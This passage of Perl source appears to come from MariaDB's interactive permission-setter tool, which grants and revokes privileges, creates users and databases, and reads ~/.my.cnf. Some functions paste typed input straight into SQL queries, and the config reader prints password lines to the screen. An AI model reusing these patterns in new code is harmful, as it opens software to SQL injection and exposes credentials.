m/^[2-7]$/ ) ) { print STDERR "Sorry, select option $todo isn't known inside the program .. See ya\n"; quit(); } my @hosts = split(/,/,$host); if (!$user) { die "username not specified: $user\n"; } if (!$db) { die "databasename is not specified nor *\n"; } foreach $host (@hosts) { # user privileges: SELECT if (($todo == 2) || ($todo == 3)) { $sth = $dbh->do("GRANT SELECT ON $db.* TO \'$user\'@\'$host\' IDENTIFIED BY \'$pass\'") || die $dbh->errstr; } elsif ($todo == 4) { # user privileges: SELECT,INSERT,UPDATE,DELETE $sth = $dbh->do("GRANT SELECT,INSERT,UPDATE,DELETE ON $db.* TO \'$user\'@\'$host\' IDENTIFIED BY \'$pass\'") || die $dbh->errstr; } elsif ($todo == 5) { # user privileges: SELECT,INSERT,UPDATE,DELETE,CREATE,DROP,INDEX,LOCK TABLES,CREATE TEMPORARY TABLES $sth = $dbh->do("GRANT SELECT,INSERT,UPDATE,DELETE,CREATE,DROP,INDEX,LOCK TABLES,CREATE TEMPORARY TABLES ON $db.* TO \'$user\'@\'$host\' IDENTIFIED BY \'$pass\'") || die $dbh->errstr; } elsif ($todo == 6) { # all privileges $sth = $dbh->do("GRANT ALL ON $db.* TO \'$user\'\@\'$host\' IDENTIFIED BY \'$pass\'") || die $dbh->errstr; } elsif ($todo == 7) { # all privileges set to N $sth = $dbh->do("REVOKE ALL ON $db.* FROM \'$user\'\@\'$host\'") || die $dbh->errstr; } } print "Everything is inserted and mysql privileges have been reloaded.\n\n"; } ### # ask for a new database name ### sub newdatabase { my ($answer,$good,$db); print "\n\nWhich database would you like to add: "; while (<STDIN>) { $answer = $_; $good = 0; chomp($answer); if ($answer) { my $sth = $dbh->prepare("SHOW DATABASES") || die $dbh->errstr; $sth->execute || die $dbh->errstr; while (my @r = $sth->fetchrow_array) { if ($r[0] eq $answer) { print "\n\nSorry, this database name is already in use; try something else: "; $good = 1; } } } else { print "You must type something ...\nTry again: "; next; } last if ($good == 0); } $db = $answer; print "The new database $db will be created\n"; return($db); } ### # select a database ### sub database { my ($answer,$good,$db); print "\n\nWhich database from existing databases would you like to select: \n"; print "You can choose from: \n"; my $sth = $dbh->prepare("show databases") || die $dbh->errstr; $sth->execute || die $dbh->errstr; while (my @r = $sth->fetchrow_array) { print " - $r[0] \n"; } print "Which database will it be (case sensitive). Type * for any: \n"; while (<STDIN>) { $answer = $_; $good = 0; chomp($answer); if ($answer) { if ($answer eq "*") { print "OK, the user entry will NOT be limited to any database"; return("*"); } my $sth = $dbh->prepare("show databases") || die $dbh->errstr; $sth->execute || die $dbh->errstr; while (my @r = $sth->fetchrow_array) { if ($r[0] eq $answer) { $good = 1; $db = $r[0]; last; } } } else { print "Type either database name or * meaning any databasename. That means"; print " any of those above but also any which will be created in future!"; print " This option gives a user chance to operate on databse mysql, which"; print " contains privilege settings. That is really risky!\n"; next; } if ($good == 1) { last; } else { print "You must select one from the list.\nTry again: "; next; } } print "The database $db will be used.\n"; return($db); } ### # ask for a new username ### sub newuser { my $user = ""; my $answer = ""; print "\nWhat username is to be created: "; while(<STDIN>) { $answer = $_; chomp($answer); if ($answer) { $user = $answer; } else { print "You must type something ...\nTry again: "; next; } last; } print "Username = $user\n"; return($user); } ### # ask for a user which is already in the user table ### sub user { my ($answer,$user); print "\nFor which user do you want to specify a password: "; while(<STDIN>) { $answer = $_; chomp($answer); if ($answer) { my $sth = $dbh->prepare("select User from mysql.user where User = '$answer'") || die $dbh->errstr; $sth->execute || die $dbh->errstr; my @r = $sth->fetchrow_array; if ($r[0]) { $user = $r[0]; } else { print "Sorry, user $answer isn't known in the user table.\nTry again: "; next; } } else { print "You must type something ...\nTry again: "; next; } last; } print "Username = $user\n"; return($user); } ### # ask for a new password ### sub newpass { my ($user) = @_; my ($pass,$answer,$good,$yes); print "Would you like to set a password for $user [y/n]: "; $yes = <STDIN>; chomp($yes); if ($yes =~ /y/) { system "stty -echo"; print "What password do you want to specify for $user: "; while(<STDIN>) { $answer = $_; chomp($answer); system "stty echo"; print "\n"; if ($answer) { system "stty -echo"; print "Type the password again: "; my $second = <STDIN>; chomp($second); system "stty echo"; print "\n"; if ($answer ne $second) { print "Passwords aren't the same; we begin from scratch again.\n"; system "stty -echo"; print "Password please: "; next; } else { $pass = $answer; } } else { print "You must type something ...\nTry again: "; next; } last; } # print "The password for $user is $pass.\n"; } else { print "We won't set a password so the user doesn't have to use it\n"; $pass = ""; } return($pass); } ### # ask for new hosts ### sub newhosts { my ($host,$answer,$good); print "We now need to know from what host(s) the user will connect.\n"; print "Keep in mind that % means 'from any host' ...\n"; print "The host please: "; while(<STDIN>) { $answer = $_; chomp($answer); if ($answer) { $host .= ",$answer"; print "Would you like to add another host [yes/no]: "; my $yes = <STDIN>; chomp($yes); if ($yes =~ /y/i) { print "Okay, give us the host please: "; next; } else { print "Okay we keep it with this ...\n"; } } else { print "You must type something ...\nTry again: "; next; } last; } $host =~ s/^,//; print "The following host(s) will be used: $host.\n"; return($host); } ### # ask for a host which is already in the user table ### sub hosts { my ($user) = @_; my ($answer,$good,$host); print "We now need to know which host for $user we have to change.\n"; print "Choose from the following hosts: \n"; $user = $dbh->quote($user); my $sth = $dbh->prepare("select Host,User from mysql.user where User = $user") || die $dbh->errstr; $sth->execute || die $dbh->errstr; while (my @r = $sth->fetchrow_array) { print " - $r[0] \n"; } print "The host please (case sensitive): "; while(<STDIN>) { $answer = $_; chomp($answer); if ($answer) { $sth = $dbh->prepare("select Host,User from mysql.user where Host = '$answer' and User = $user") || die $dbh->errstr; $sth->execute || die $dbh->errstr; my @r = $sth->fetchrow_array; if ($r[0]) { $host = $answer; last; } else { print "You have to select a host from the list ...\nTry again: "; next; } } else { print "You have to type something ...\nTry again: "; next; } last; } print "The following host will be used: $host.\n"; return($host); } ### # a nice quit (first disconnect and then exit ### sub quit { $dbh->disconnect; exit(0); } ### # Read variables password, port and socket from .my.cnf under the client # or perl groups ### sub read_my_cnf { open(TMP,$ENV{'HOME'} . "/.my.cnf") || return 1; while (<TMP>) { if (/^\[(client|perl)\]/i) { print "Options read from mycnf:\n"; while ((defined($_=<TMP>)) && !/^\[\w+\]/) { next if /^\s*($|#)/; ## skip blanks and comments print $_; if (/^host\s*=\s*(\S+)/i) { $opt_host = $1; } elsif (/^user\s*=\s*(\S+)/i) { $opt_user = $1; } elsif (/^password\s*=\s*(\S+)/i) { $opt_password = $1; } elsif (/^port\s*=\s*(\S+)/i) { $opt_port = $1; } elsif (/^socket\s*=\s*(\S+)/i) { $opt_socket = $1; } } print "------------------------\n"; } } close(TMP); } ### # the help text ### sub usage { print <<EOL; ---------------------------------------------------------------------- The permission setter for MariaDB. version: $version made by: Luuk de Boer <luuk\@wxs.nl> ---------------------------------------------------------------------- The permission setter is a little program which can help you add users or databases or change passwords in MariaDB. Keep in mind that we don't check permissions which already been set in MariaDB. So if you can't connect to MariaDB using the permission you just added, take a look at the permissions which have already been set in MariaDB. The permission setter first reads your .my.cnf file in your Home directory if it exists. Options for the permission setter: --help : print this help message and exit. The options shown below are used for making the connection to the MariaDB server. Keep in mind that the permissions for the user specified via these options must be sufficient to add users / create databases / set passwords. --user : is the username to connect with. --password : the password of the username. --host : the host to connect to. --socket : the socket to connect to. --port : the port number of the host to connect to. If you don't give a password and no password is set in your .my.cnf file, then the permission setter will ask for a password. EOL exit(0); }
Close